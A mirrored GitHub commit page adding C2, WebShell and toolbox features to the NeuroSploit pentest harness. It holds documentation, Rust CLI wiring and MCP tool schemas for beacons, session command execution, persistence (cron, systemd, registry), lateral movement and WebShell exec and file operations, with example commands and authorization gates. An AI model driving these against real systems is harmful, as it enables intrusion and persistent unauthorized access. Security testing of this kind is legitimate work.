mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-11-25 21:54:26 +01:00
feat(c2+toolbox): C2 framework, 200+ security tools catalog, WebShells and MCP integration
C2 framework: local daemon with HTTP listener, session management, task dispatch, beacon protocol. WebShell support for persistent access through web endpoints. Full CLI surface (neurosploit c2/webshell), MCP tools, REPL commands, and web console integration with real-time session monitoring. Toolbox: 200+ real security tools catalog (nmap, ffuf, sqlmap, nuclei, etc.) with structured output parsing, MCP tool server integration, and auto-install. Runner executes tools with timeout, audit trail, and output capture. Catalog is data-driven via tools/toolbox.json. MCP: expanded tool surface for C2 sessions, task management, webshell operations, and toolbox execution. All tools share one implementation with CLI, REPL, and web console. Web UI: C2 dashboard with session cards, task panels, webshell terminal. Toolbox browser with search, run modal, and output viewer. API endpoints for all operations. Pipeline: toolbox integration for auto-running tools during engagements when autonomy level permits. 0 build errors, test suite passes. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
This commit is contained in:
1 parent
408d59d9de
commit
27ff689265
32 files changed
+12174
-7
No files matched your search
@@ -111,6 +111,22 @@ No subscription? Use an **API key** for any provider instead — see [TUTORIAL.m
|
||||
| **Container** | `neurosploit container <image:tag>` | OCI image scan + SBOM (trivy/grype/syft) |
|
||||
| **Mission Control** | `neurosploit tui <url>` | live TUI panels + a composer you type in mid-run |
|
||||
|
||||
## Add-ons: Toolbox, MCP tool servers, C2 & WebShells
|
||||
|
||||
- **Toolbox (225 tools, opt-in).** Run the right pentest tool instead of only
|
||||
curl/scripts: nmap, rustscan, httpx, nuclei, ffuf, netexec, impacket,
|
||||
bloodhound, trivy, apktool, ghidra and more. `neurosploit tools list` /
|
||||
`run nmap --target 10.0.0.5`; `--tools` gives agents the doctrine and
|
||||
`--agent-tools` lets API models request cataloged tools in a bounded loop.
|
||||
- **MCP tool servers.** Curated nmap / Kali / Playwright / Burp / REA templates:
|
||||
`neurosploit tools mcp add nmap`, then run with `--mcp`.
|
||||
- **C2 & WebShell management (authorized internal engagements only).** Disabled
|
||||
by default; enabling requires an authorization reference. Listeners, sessions,
|
||||
tasks, payloads, persistence/lateral opt-ins, WebShell exec/file ops, and an
|
||||
append-only audit trail under `.neurosploit/c2/`.
|
||||
|
||||
See [`docs/TOOLBOX.md`](docs/TOOLBOX.md) for guardrails and the full surface.
|
||||
|
||||
## What makes it different
|
||||
|
||||
- **The harness is the pentester.** Agent selection is recon-driven; findings
|
||||
|
||||
+128
@@ -0,0 +1,128 @@
|
||||
# Toolbox, MCP tool servers, C2 & WebShells
|
||||
|
||||
These are **opt-in add-ons**. A normal engagement behaves exactly as before.
|
||||
|
||||
## Toolbox — 200+ real tools
|
||||
|
||||
NeuroSploit ships an embedded catalog (`neurosploit-rs/tools/toolbox.json`,
|
||||
**225 entries**) so the model and the operator can run the right tool instead of
|
||||
only `curl` or a hand-written Python script.
|
||||
|
||||
| Category | Examples |
|
||||
|---|---|
|
||||
| `recon` | subfinder, amass, gau, waybackurls, katana, dnsx, theHarvester |
|
||||
| `web` | httpx, whatweb, wafw00f, nuclei, ffuf, feroxbuster, sqlmap, dalfox, jwt_tool, arjun |
|
||||
| `network` | **nmap**, **rustscan**, masscan, naabu, smbmap, smbclient, snmpwalk, rpcclient |
|
||||
| `ad` | netexec, enum4linux-ng, impacket (secretsdump/GetUserSPNs/psexec), bloodhound-python, kerbrute, certipy, responder, mitm6, evil-winrm |
|
||||
| `cloud` / `container` | trivy, grype, syft, prowler, scoutsuite, checkov, kube-bench, kube-hunter, cloud_enum, s3scanner |
|
||||
| `mobile` / `binary` | apktool, jadx, apkleaks, frida, objection, MobSF, Ghidra headless, radare2/rizin, binwalk, checksec |
|
||||
| `exploit` / `creds` | metasploit, msfvenom, searchsploit, hashcat, john, hydra, medusa |
|
||||
| `forensics` / `ai` | volatility3, foremost, exiftool, garak, promptfoo, pyrit |
|
||||
|
||||
### CLI
|
||||
|
||||
```bash
|
||||
neurosploit tools list --json
|
||||
neurosploit tools search kerberos
|
||||
neurosploit tools info nmap
|
||||
neurosploit tools check nmap --json # installed + version (no scan)
|
||||
neurosploit tools profiles --json # recommended chain per mode
|
||||
|
||||
# run a tool (target is appended when the args do not contain one)
|
||||
neurosploit tools run nmap --target 10.0.0.5 --args='-sV -p 22,80,443' --json
|
||||
neurosploit tools run rustscan --target 10.0.0.5 --args='--ulimit 5000 -- -sV'
|
||||
neurosploit tools run httpx --target https://app.example.com
|
||||
neurosploit tools run netexec --target 10.0.0.10 --args='smb 10.0.0.10 --shares'
|
||||
|
||||
# explicit install only; add --sandbox to provision inside Kali
|
||||
neurosploit tools install nmap
|
||||
neurosploit tools run nmap --target 10.0.0.5 --provision --sandbox
|
||||
```
|
||||
|
||||
The runner enforces engagement scope (when invoked from a run), operator
|
||||
constraints ("no port scan", "passive only"), timeouts and a 256 KB output cap,
|
||||
and appends every execution to `.neurosploit/toolbox/toolbox-audit.jsonl`.
|
||||
|
||||
### Agent integration
|
||||
|
||||
- `--tools` injects the toolbox doctrine into recon/exploit/chain prompts.
|
||||
- `--agent-tools` additionally lets an **API-model** recon phase choose up to 6
|
||||
cataloged tools as JSON. The harness executes them through the same runner and
|
||||
appends the raw output to recon facts. Unknown tools, out-of-scope targets and
|
||||
constraint violations are rejected.
|
||||
- Subscription agents (Claude Code / Codex / …) can already run shell commands;
|
||||
the doctrine teaches them the `neurosploit tools` verbs.
|
||||
- Without these flags, nothing changes.
|
||||
|
||||
```bash
|
||||
neurosploit run https://app --subscription --model anthropic:claude-opus-4-8 \
|
||||
--mcp --tools --agent-tools
|
||||
```
|
||||
|
||||
## MCP tool servers
|
||||
|
||||
Curated templates live in the harness (`toolbox::mcp_catalog`):
|
||||
|
||||
| Server | Command | Notes |
|
||||
|---|---|---|
|
||||
| `nmap` | `npx -y gc-nmap-mcp` | `NMAP_PATH` is set automatically |
|
||||
| `kali` | `kali-mcp` | install via `pipx install kali-mcp` or the Docker image |
|
||||
| `playwright` | `npx -y @playwright/mcp@latest --headless --isolated` | JS-heavy targets |
|
||||
| `burp` | HTTP `http://127.0.0.1:1337/v0.1` | adjust in `mcp.servers.json` |
|
||||
| `rea` | `rea --mode binary` | mobile/native RE |
|
||||
| `neurosploit` | `neurosploit mcp` | C2/WebShell + toolbox tools for any MCP client |
|
||||
|
||||
```bash
|
||||
neurosploit tools mcp list
|
||||
neurosploit tools mcp add nmap # writes ./mcp.servers.json
|
||||
neurosploit tools mcp test nmap
|
||||
neurosploit tools mcp json kali
|
||||
|
||||
# or select per run (merged into .mcp.json):
|
||||
neurosploit run https://app --subscription --mcp --mcp-server nmap --mcp-server kali \
|
||||
--model anthropic:claude-opus-4-8
|
||||
```
|
||||
|
||||
NeuroSploit itself exposes MCP tools for this layer: `neurosploit_tool_list`,
|
||||
`neurosploit_tool_info`, `neurosploit_tool_check`, `neurosploit_tool_run`,
|
||||
`neurosploit_tool_mcp`.
|
||||
|
||||
## C2 & WebShell (authorized internal engagements)
|
||||
|
||||
The C2 layer is **disabled by default** and requires an authorization reference.
|
||||
|
||||
```bash
|
||||
neurosploit c2 enable --authorization "SOW-2026-001" --persistence --lateral
|
||||
neurosploit c2 listener create --name lab --bind-port 8443
|
||||
neurosploit c2 listener start <listener-id>
|
||||
neurosploit c2 payload beacon --listener <listener-id> --kind bash --json
|
||||
neurosploit c2 session list
|
||||
neurosploit c2 task exec --session <s-id> --command 'id' --wait --json
|
||||
neurosploit c2 task persist --session <s-id> --method auto --wait --json
|
||||
neurosploit c2 task lateral --session <s-id> --command 'nmap -sV 10.0.0.6' --wait --json
|
||||
neurosploit c2 disable
|
||||
```
|
||||
|
||||
WebShell manager:
|
||||
|
||||
```bash
|
||||
neurosploit webshell add --url http://10.0.0.5/shell.php --password s3cret
|
||||
neurosploit webshell test <ws-id>
|
||||
neurosploit webshell exec --id <ws-id> --command 'id'
|
||||
neurosploit webshell file --id <ws-id> --action list --path /var/www
|
||||
```
|
||||
|
||||
Guardrails: loopback bind by default, private/loopback WebShell targets unless
|
||||
allow-listed, persistence/lateral as separate opt-ins, 0600 state/payloads, and
|
||||
an append-only audit log under `.neurosploit/c2/`.
|
||||
|
||||
## Web console
|
||||
|
||||
The console adds two views:
|
||||
|
||||
- **Toolbox** — browse/search the catalog, check versions, run tools, install
|
||||
explicitly, and manage MCP servers.
|
||||
- **C2 & Shells** — enable C2 with an authorization reference, manage listeners,
|
||||
sessions, tasks, payloads and WebShell connections.
|
||||
|
||||
Relevant API endpoints are listed in [`web/API.md`](../web/API.md).
|
||||
Generated
+1
@@ -949,6 +949,7 @@ dependencies = [
|
||||
"futures",
|
||||
"neurosploit-harness",
|
||||
"ratatui",
|
||||
"reqwest",
|
||||
"rustyline",
|
||||
"serde",
|
||||
"serde_json",
|
||||
|
||||
@@ -15,6 +15,7 @@ serde_json.workspace = true
|
||||
tokio.workspace = true
|
||||
anyhow.workspace = true
|
||||
futures.workspace = true
|
||||
reqwest.workspace = true
|
||||
clap = { version = "4", features = ["derive"] }
|
||||
rustyline = "14"
|
||||
dialoguer = "0.11"
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,5 +1,7 @@
|
||||
//! NeuroSploit — interactive harness + CLI (`run` / `whitebox` / `agents` / `models`).
|
||||
|
||||
mod c2cli;
|
||||
mod toolscli;
|
||||
mod rectify;
|
||||
mod repl;
|
||||
mod tui;
|
||||
@@ -108,6 +110,36 @@ struct Cli {
|
||||
/// subscription-CLI backends (claude/codex/…) expose no temperature knob.
|
||||
#[arg(long = "temperature", global = true)]
|
||||
temperature: Option<f32>,
|
||||
/// Opt-in: give the agents the local C2 (listeners, sessions, tasks,
|
||||
/// persistence, lateral movement) for this authorized internal engagement.
|
||||
/// Requires --c2-authorization.
|
||||
#[arg(long = "c2", global = true)]
|
||||
c2: bool,
|
||||
/// SOW / ticket / bug-bounty URL authorizing C2 use. Required by --c2.
|
||||
#[arg(long = "c2-authorization", global = true)]
|
||||
c2_authorization: Option<String>,
|
||||
/// Allow persistence tasks on implants (requires --c2).
|
||||
#[arg(long = "c2-persistence", global = true)]
|
||||
c2_persistence: bool,
|
||||
/// Allow lateral-movement/upload tasks (requires --c2).
|
||||
#[arg(long = "c2-lateral", global = true)]
|
||||
c2_lateral: bool,
|
||||
/// Allow C2/WebShell targets outside private address space (explicit opt-in).
|
||||
#[arg(long = "c2-allow-public", global = true)]
|
||||
c2_allow_public: bool,
|
||||
/// Opt-in: enable the 200+ tool toolbox and its doctrine for this run.
|
||||
#[arg(long = "tools", global = true)]
|
||||
tools: bool,
|
||||
/// Opt-in: let API-model agents request cataloged tools in a bounded loop.
|
||||
#[arg(long = "agent-tools", global = true)]
|
||||
agent_tools: bool,
|
||||
/// Explicitly allow the toolbox to install missing tools (apt/pipx/go/...).
|
||||
#[arg(long = "provision", global = true)]
|
||||
provision: bool,
|
||||
/// Extra MCP tool server from the curated catalog (nmap, kali, playwright,
|
||||
/// burp, rea, neurosploit). Repeatable.
|
||||
#[arg(long = "mcp-server", global = true)]
|
||||
mcp_server: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Subcommand)]
|
||||
@@ -224,6 +256,22 @@ enum Cmd {
|
||||
#[arg(long)]
|
||||
reactive: bool,
|
||||
},
|
||||
/// Toolbox: list/check/run 200+ pentest tools and manage MCP tool servers.
|
||||
Tools {
|
||||
#[command(subcommand)]
|
||||
cmd: toolscli::ToolsCmd,
|
||||
},
|
||||
/// Command & Control for authorized internal engagements: listeners,
|
||||
/// sessions, tasks, payloads, persistence and lateral movement.
|
||||
C2 {
|
||||
#[command(subcommand)]
|
||||
cmd: c2cli::C2Cmd,
|
||||
},
|
||||
/// WebShell management: saved connections, command exec, file operations.
|
||||
Webshell {
|
||||
#[command(subcommand)]
|
||||
cmd: c2cli::WebshellCmd,
|
||||
},
|
||||
/// Run NeuroSploit as an MCP server (stdio) so Claude Code, Codex, Cursor
|
||||
/// and other MCP clients can drive it as a set of tools.
|
||||
Mcp,
|
||||
@@ -851,6 +899,54 @@ async fn main() -> anyhow::Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
// C2 opt-in: bootstrap the local daemon/policy before the engagement runs,
|
||||
// so the agents see the same sessions and guardrails the CLI enforces.
|
||||
let invoking_c2_tool = matches!(
|
||||
&cli.cmd,
|
||||
Some(Cmd::C2 { .. }) | Some(Cmd::Webshell { .. })
|
||||
);
|
||||
if cli.c2 && !invoking_c2_tool {
|
||||
let auth = cli.c2_authorization.clone().unwrap_or_default();
|
||||
if auth.trim().is_empty() {
|
||||
anyhow::bail!(
|
||||
"--c2 requires --c2-authorization \"SOW/ticket/URL\" (C2 is opt-in and auditable)"
|
||||
);
|
||||
}
|
||||
std::env::set_var("NEUROSPLOIT_C2", "1");
|
||||
if cli.c2_persistence {
|
||||
std::env::set_var("NEUROSPLOIT_C2_PERSIST", "1");
|
||||
}
|
||||
if cli.c2_lateral {
|
||||
std::env::set_var("NEUROSPLOIT_C2_LATERAL", "1");
|
||||
}
|
||||
if let Err(e) = harness::c2::bootstrap(
|
||||
&auth,
|
||||
cli.c2_persistence,
|
||||
cli.c2_lateral,
|
||||
cli.c2_allow_public,
|
||||
)
|
||||
.await
|
||||
{
|
||||
anyhow::bail!("C2 bootstrap failed: {e}");
|
||||
}
|
||||
eprintln!(" [*] C2 enabled for this engagement (authorization: {auth})");
|
||||
}
|
||||
|
||||
// Toolbox opt-in: the tool catalog is always available, but the doctrine and
|
||||
// the agent tool loop only activate when the operator asks for them.
|
||||
if cli.tools || cli.agent_tools {
|
||||
std::env::set_var("NEUROSPLOIT_TOOLS", "1");
|
||||
}
|
||||
if cli.agent_tools {
|
||||
std::env::set_var("NEUROSPLOIT_AGENT_TOOLS", "1");
|
||||
}
|
||||
if cli.provision {
|
||||
std::env::set_var("NEUROSPLOIT_PROVISION", "1");
|
||||
}
|
||||
if !cli.mcp_server.is_empty() {
|
||||
std::env::set_var("NEUROSPLOIT_MCP_SERVERS", cli.mcp_server.join(","));
|
||||
}
|
||||
|
||||
// No subcommand → launch the Claude-Code-style interactive session.
|
||||
let cmd = match cli.cmd.take() {
|
||||
Some(c) => c,
|
||||
@@ -889,6 +985,9 @@ async fn main() -> anyhow::Result<()> {
|
||||
}
|
||||
}
|
||||
}
|
||||
Cmd::Tools { cmd } => { toolscli::handle(cmd).await?; }
|
||||
Cmd::C2 { cmd } => { c2cli::handle_c2(cmd).await?; }
|
||||
Cmd::Webshell { cmd } => { c2cli::handle_webshell(cmd).await?; }
|
||||
Cmd::Mcp => { mcp::serve()?; }
|
||||
Cmd::Rebuild { run } => {
|
||||
// Accept either a path or a bare run id, resolved against the same
|
||||
|
||||
@@ -31,6 +31,15 @@
|
||||
//! - neurosploit_agents list the agent library
|
||||
//! - neurosploit_models list providers and models
|
||||
//! - neurosploit_import_collection validate/preview a collection (file or dir)
|
||||
//! - neurosploit_c2_status C2 policy + listeners/sessions/webshells
|
||||
//! - neurosploit_c2_control enable/disable/update C2 policy (opt-in)
|
||||
//! - neurosploit_c2_listener listener create/start/stop/delete/list
|
||||
//! - neurosploit_c2_session session list/get/sleep/note/kill
|
||||
//! - neurosploit_c2_task task enqueue/wait/get/list/cancel
|
||||
//! - neurosploit_c2_payload generate webshell / beacon / oneliner
|
||||
//! - neurosploit_webshell save/exec/file/test a WebShell connection
|
||||
//! - neurosploit_tool_* list/info/check/run the 200+ tool catalog
|
||||
//! - neurosploit_tool_mcp manage curated MCP tool servers
|
||||
//!
|
||||
//! Kept dependency-free: JSON-RPC framing is hand-rolled over stdin/stdout with
|
||||
//! serde_json, and tools run via std::process::Command.
|
||||
@@ -94,7 +103,7 @@ fn err(id: Option<Value>, code: i64, msg: &str) -> Value {
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn tool_list() -> Value {
|
||||
json!([
|
||||
let mut tools = json!([
|
||||
{
|
||||
"name": "neurosploit_run",
|
||||
"description": "Launch a NeuroSploit black-box engagement against an authorized target. Returns the run id, finding summary, and report path. Only test targets you are authorized to test.",
|
||||
@@ -256,6 +265,130 @@ fn tool_list() -> Value {
|
||||
}
|
||||
}
|
||||
},
|
||||
]);
|
||||
extend_tools(&mut tools, json!([
|
||||
{
|
||||
"name": "neurosploit_c2_status",
|
||||
"description": "Show the local C2 policy, listeners, sessions, tasks, webshell connections and recent events. C2 is opt-in; this tool fails closed when it is disabled.",
|
||||
"inputSchema": { "type": "object", "properties": {} }
|
||||
},
|
||||
{
|
||||
"name": "neurosploit_c2_control",
|
||||
"description": "Enable or disable the local C2 module, or update its guardrails. Enabling REQUIRES an authorization reference (SOW/ticket/bug-bounty URL). Persistence and lateral movement are separate explicit opt-ins.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"action": { "type": "string", "enum": ["enable","disable","policy"], "description": "Operation" },
|
||||
"authorization": { "type": "string", "description": "Authorization reference (required for enable)" },
|
||||
"persistence": { "type": "boolean", "description": "Allow persistence tasks" },
|
||||
"lateral": { "type": "boolean", "description": "Allow lateral-movement/upload tasks" },
|
||||
"allow_public": { "type": "boolean", "description": "Allow non-private targets (explicit opt-in)" },
|
||||
"hosts": { "type": "array", "items": { "type": "string" }, "description": "Extra authorized hosts/domains" }
|
||||
},
|
||||
"required": ["action"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "neurosploit_c2_listener",
|
||||
"description": "Manage HTTP beacon listeners (localhost by default). Create is not start; call start explicitly.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"action": { "type": "string", "enum": ["list","create","start","stop","delete"] },
|
||||
"id": { "type": "string", "description": "Listener id (start/stop/delete)" },
|
||||
"name": { "type": "string", "description": "Listener name (create)" },
|
||||
"bind_host": { "type": "string", "description": "Bind address, default 127.0.0.1" },
|
||||
"bind_port": { "type": "integer", "description": "Bind port, e.g. 8443" },
|
||||
"callback_host": { "type": "string", "description": "Host implants call back to" },
|
||||
"sleep_seconds": { "type": "integer", "description": "Default beacon sleep" },
|
||||
"jitter_percent": { "type": "integer", "description": "Default beacon jitter 0-100" }
|
||||
},
|
||||
"required": ["action"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "neurosploit_c2_session",
|
||||
"description": "Inspect and manage C2 sessions. Use the returned session_id with neurosploit_c2_task for persistence, command execution and lateral movement.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"action": { "type": "string", "enum": ["list","get","sleep","note","kill"] },
|
||||
"session_id": { "type": "string", "description": "Session id (s_...)" },
|
||||
"seconds": { "type": "integer", "description": "New beacon sleep (sleep)" },
|
||||
"jitter": { "type": "integer", "description": "New jitter 0-100 (sleep)" },
|
||||
"note": { "type": "string", "description": "Operator note (note)" }
|
||||
},
|
||||
"required": ["action"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "neurosploit_c2_task",
|
||||
"description": "Queue and retrieve tasks on a C2 session: exec/shell commands, pwd, ls, cd, ps, download, upload, sleep, exit, persist (requires persistence policy) and lateral (requires lateral policy). Returns task ids and output.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"action": { "type": "string", "enum": ["enqueue","wait","get","list","cancel"] },
|
||||
"session_id": { "type": "string", "description": "Session id (s_...)" },
|
||||
"task_id": { "type": "string", "description": "Task id (t_...)" },
|
||||
"task_type": { "type": "string", "description": "exec|shell|lateral|persist|pwd|ls|cd|ps|download|upload|sleep|exit" },
|
||||
"command": { "type": "string", "description": "Command for exec/lateral" },
|
||||
"path": { "type": "string", "description": "Path for ls/cd/download/upload" },
|
||||
"content": { "type": "string", "description": "File content for upload" },
|
||||
"method": { "type": "string", "description": "Persistence method: auto|cron|bashrc|systemd|schtasks|registry" },
|
||||
"status": { "type": "string", "description": "Filter for list" },
|
||||
"timeout_seconds": { "type": "integer", "description": "Wait timeout (default 60)" }
|
||||
},
|
||||
"required": ["action"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "neurosploit_c2_payload",
|
||||
"description": "Generate an authorized payload: a WebShell (php/aspx/asp/jsp) or an HTTP beacon (bash/python/powershell/php) for a listener, or a one-shot check-in oneliner.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"action": { "type": "string", "enum": ["webshell","beacon","oneliner","list"] },
|
||||
"shell_type": { "type": "string", "description": "php|aspx|asp|jsp" },
|
||||
"password": { "type": "string", "description": "WebShell password" },
|
||||
"pass_param": { "type": "string", "description": "Password parameter name (default pass)" },
|
||||
"cmd_param": { "type": "string", "description": "Command parameter name (default cmd)" },
|
||||
"listener_id": { "type": "string", "description": "Listener id for beacon/oneliner" },
|
||||
"kind": { "type": "string", "description": "bash|python|powershell|php" },
|
||||
"host": { "type": "string", "description": "Override callback host" },
|
||||
"filename": { "type": "string", "description": "Output filename" }
|
||||
},
|
||||
"required": ["action"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "neurosploit_webshell",
|
||||
"description": "Manage saved WebShell connections: add/list, test, execute commands and perform file operations (list/read/write/delete/mkdir/rename). Targets must be authorized (private by default).",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"action": { "type": "string", "enum": ["list","add","update","delete","test","exec","file"] },
|
||||
"id": { "type": "string", "description": "Connection id (ws_...)" },
|
||||
"url": { "type": "string", "description": "WebShell URL" },
|
||||
"name": { "type": "string" },
|
||||
"password": { "type": "string" },
|
||||
"shell_type": { "type": "string", "description": "php|asp|aspx|jsp|custom" },
|
||||
"method": { "type": "string", "description": "GET or POST" },
|
||||
"cmd_param": { "type": "string", "description": "Command parameter name" },
|
||||
"pass_param": { "type": "string", "description": "Password parameter name" },
|
||||
"os": { "type": "string", "description": "auto|linux|windows" },
|
||||
"encoding": { "type": "string", "description": "auto|utf-8" },
|
||||
"note": { "type": "string" },
|
||||
"command": { "type": "string", "description": "Command for exec" },
|
||||
"file_action": { "type": "string", "description": "list|read|write|upload|delete|mkdir|rename" },
|
||||
"path": { "type": "string" },
|
||||
"content": { "type": "string" },
|
||||
"target_path": { "type": "string" }
|
||||
},
|
||||
"required": ["action"]
|
||||
}
|
||||
},
|
||||
]));
|
||||
extend_tools(&mut tools, json!([
|
||||
{ "name": "neurosploit_list_runs", "description": "List finished NeuroSploit runs (ids and targets).", "inputSchema": { "type": "object", "properties": {} } },
|
||||
{ "name": "neurosploit_findings", "description": "Read a finished run's findings as JSON.", "inputSchema": { "type": "object", "properties": { "run": { "type": "string", "description": "Run id or path" } }, "required": ["run"] } },
|
||||
{ "name": "neurosploit_report", "description": "Read a finished run's Markdown report.", "inputSchema": { "type": "object", "properties": { "run": { "type": "string" } }, "required": ["run"] } },
|
||||
@@ -332,7 +465,76 @@ fn tool_list() -> Value {
|
||||
"required": ["path"]
|
||||
}
|
||||
}
|
||||
])
|
||||
]));
|
||||
extend_tools(&mut tools, json!([
|
||||
{
|
||||
"name": "neurosploit_tool_list",
|
||||
"description": "List or search the 200+ security-tool catalog (web, network, Active Directory, cloud, container, mobile, binary, forensics, AI).",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"query": { "type": "string", "description": "Search id/name/tag/description" },
|
||||
"category": { "type": "string", "description": "Filter by category, e.g. web, network, ad, cloud, binary" }
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "neurosploit_tool_info",
|
||||
"description": "Show one tool's binary, usage template, tags, safety flags and install hints.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": { "tool": { "type": "string", "description": "Tool id, e.g. nmap or rustscan" } },
|
||||
"required": ["tool"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "neurosploit_tool_check",
|
||||
"description": "Check whether a tool is installed (and its version) without running it. Optional sandbox check.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"tool": { "type": "string", "description": "Tool id" },
|
||||
"sandbox": { "type": "boolean", "description": "Check inside the Kali container" }
|
||||
},
|
||||
"required": ["tool"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "neurosploit_tool_run",
|
||||
"description": "Run a cataloged security tool against an authorized target. Scope/constraints are enforced by the same runner as the CLI. Examples: nmap, rustscan, httpx, nuclei, ffuf, netexec, bloodhound_python.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"tool": { "type": "string", "description": "Catalog id, e.g. nmap" },
|
||||
"target": { "type": "string", "description": "Host or URL" },
|
||||
"args": { "type": "string", "description": "Arguments/flags; target is appended when absent" },
|
||||
"sandbox": { "type": "boolean", "description": "Run inside the Kali container" },
|
||||
"provision": { "type": "boolean", "description": "Explicitly allow installing the tool if missing" },
|
||||
"timeout_seconds": { "type": "integer", "description": "Execution timeout (default 300)" }
|
||||
},
|
||||
"required": ["tool"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "neurosploit_tool_mcp",
|
||||
"description": "Manage curated MCP tool servers (nmap, kali, playwright, burp, rea, neurosploit) in ./mcp.servers.json, or print/test their config.",
|
||||
"inputSchema": {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"action": { "type": "string", "enum": ["list","add","remove","json","test"], "description": "Operation" },
|
||||
"server": { "type": "string", "description": "Server name" }
|
||||
},
|
||||
"required": ["action"]
|
||||
}
|
||||
}
|
||||
]));
|
||||
tools
|
||||
}
|
||||
|
||||
fn extend_tools(dst: &mut Value, more: Value) {
|
||||
if let (Some(a), Some(b)) = (dst.as_array_mut(), more.as_array()) {
|
||||
a.extend(b.iter().cloned());
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -453,6 +655,242 @@ fn handle_call(id: Option<Value>, req: &Value, exe: &std::path::Path) -> Value {
|
||||
if let Some(fr) = s("from") { argv.push("--from".into()); argv.push(fr); }
|
||||
}
|
||||
|
||||
// ---- C2 / WebShell --------------------------------------------------
|
||||
"neurosploit_c2_status" => {
|
||||
argv.push("c2".into()); argv.push("status".into()); argv.push("--json".into());
|
||||
}
|
||||
"neurosploit_c2_control" => {
|
||||
let Some(action) = s("action") else { return tool_err(id, "action is required") };
|
||||
argv.push("c2".into());
|
||||
match action.as_str() {
|
||||
"enable" => {
|
||||
let Some(auth) = s("authorization") else { return tool_err(id, "authorization is required to enable C2") };
|
||||
argv.push("enable".into()); argv.push("--authorization".into()); argv.push(auth);
|
||||
if b("persistence") { argv.push("--persistence".into()); }
|
||||
if b("lateral") { argv.push("--lateral".into()); }
|
||||
if b("allow_public") { argv.push("--allow-public".into()); }
|
||||
if let Some(hosts) = a.get("hosts").and_then(|v| v.as_array()) {
|
||||
for h in hosts.iter().filter_map(|v| v.as_str()) { argv.push("--host".into()); argv.push(h.to_string()); }
|
||||
}
|
||||
}
|
||||
"disable" => argv.push("disable".into()),
|
||||
"policy" => {
|
||||
argv.push("policy".into());
|
||||
if let Some(v) = s("authorization") { argv.push("--authorized-by".into()); argv.push(v); }
|
||||
if a.get("persistence").is_some() { argv.push("--persistence".into()); argv.push(b("persistence").to_string()); }
|
||||
if a.get("lateral").is_some() { argv.push("--lateral".into()); argv.push(b("lateral").to_string()); }
|
||||
if a.get("allow_public").is_some() { argv.push("--allow-public".into()); argv.push(b("allow_public").to_string()); }
|
||||
}
|
||||
other => return tool_err(id, &format!("unknown control action: {other}")),
|
||||
}
|
||||
argv.push("--json".into());
|
||||
}
|
||||
"neurosploit_c2_listener" => {
|
||||
let Some(action) = s("action") else { return tool_err(id, "action is required") };
|
||||
argv.push("c2".into()); argv.push("listener".into()); argv.push(action.clone());
|
||||
match action.as_str() {
|
||||
"create" => {
|
||||
let Some(name) = s("name") else { return tool_err(id, "name is required") };
|
||||
argv.push("--name".into()); argv.push(name);
|
||||
if let Some(v) = s("bind_host") { argv.push("--bind-host".into()); argv.push(v); }
|
||||
if let Some(v) = i("bind_port") { argv.push("--bind-port".into()); argv.push(v.to_string()); }
|
||||
if let Some(v) = s("callback_host") { argv.push("--callback-host".into()); argv.push(v); }
|
||||
if let Some(v) = i("sleep_seconds") { argv.push("--sleep".into()); argv.push(v.to_string()); }
|
||||
if let Some(v) = i("jitter_percent") { argv.push("--jitter".into()); argv.push(v.to_string()); }
|
||||
}
|
||||
"start" | "stop" | "delete" => {
|
||||
let Some(v) = s("id") else { return tool_err(id, "id is required") };
|
||||
argv.push(v);
|
||||
}
|
||||
"list" => {}
|
||||
other => return tool_err(id, &format!("unknown listener action: {other}")),
|
||||
}
|
||||
argv.push("--json".into());
|
||||
}
|
||||
"neurosploit_c2_session" => {
|
||||
let Some(action) = s("action") else { return tool_err(id, "action is required") };
|
||||
argv.push("c2".into()); argv.push("session".into()); argv.push(action.clone());
|
||||
match action.as_str() {
|
||||
"list" => {}
|
||||
"get" | "kill" => {
|
||||
let Some(v) = s("session_id") else { return tool_err(id, "session_id is required") };
|
||||
argv.push(v);
|
||||
}
|
||||
"sleep" => {
|
||||
let Some(v) = s("session_id") else { return tool_err(id, "session_id is required") };
|
||||
argv.push(v);
|
||||
if let Some(n) = i("seconds") { argv.push("--seconds".into()); argv.push(n.to_string()); }
|
||||
if let Some(n) = i("jitter") { argv.push("--jitter".into()); argv.push(n.to_string()); }
|
||||
}
|
||||
"note" => {
|
||||
let Some(v) = s("session_id") else { return tool_err(id, "session_id is required") };
|
||||
let Some(n) = s("note") else { return tool_err(id, "note is required") };
|
||||
argv.push(v); argv.push("--note".into()); argv.push(n);
|
||||
}
|
||||
other => return tool_err(id, &format!("unknown session action: {other}")),
|
||||
}
|
||||
argv.push("--json".into());
|
||||
}
|
||||
"neurosploit_c2_task" => {
|
||||
let Some(action) = s("action") else { return tool_err(id, "action is required") };
|
||||
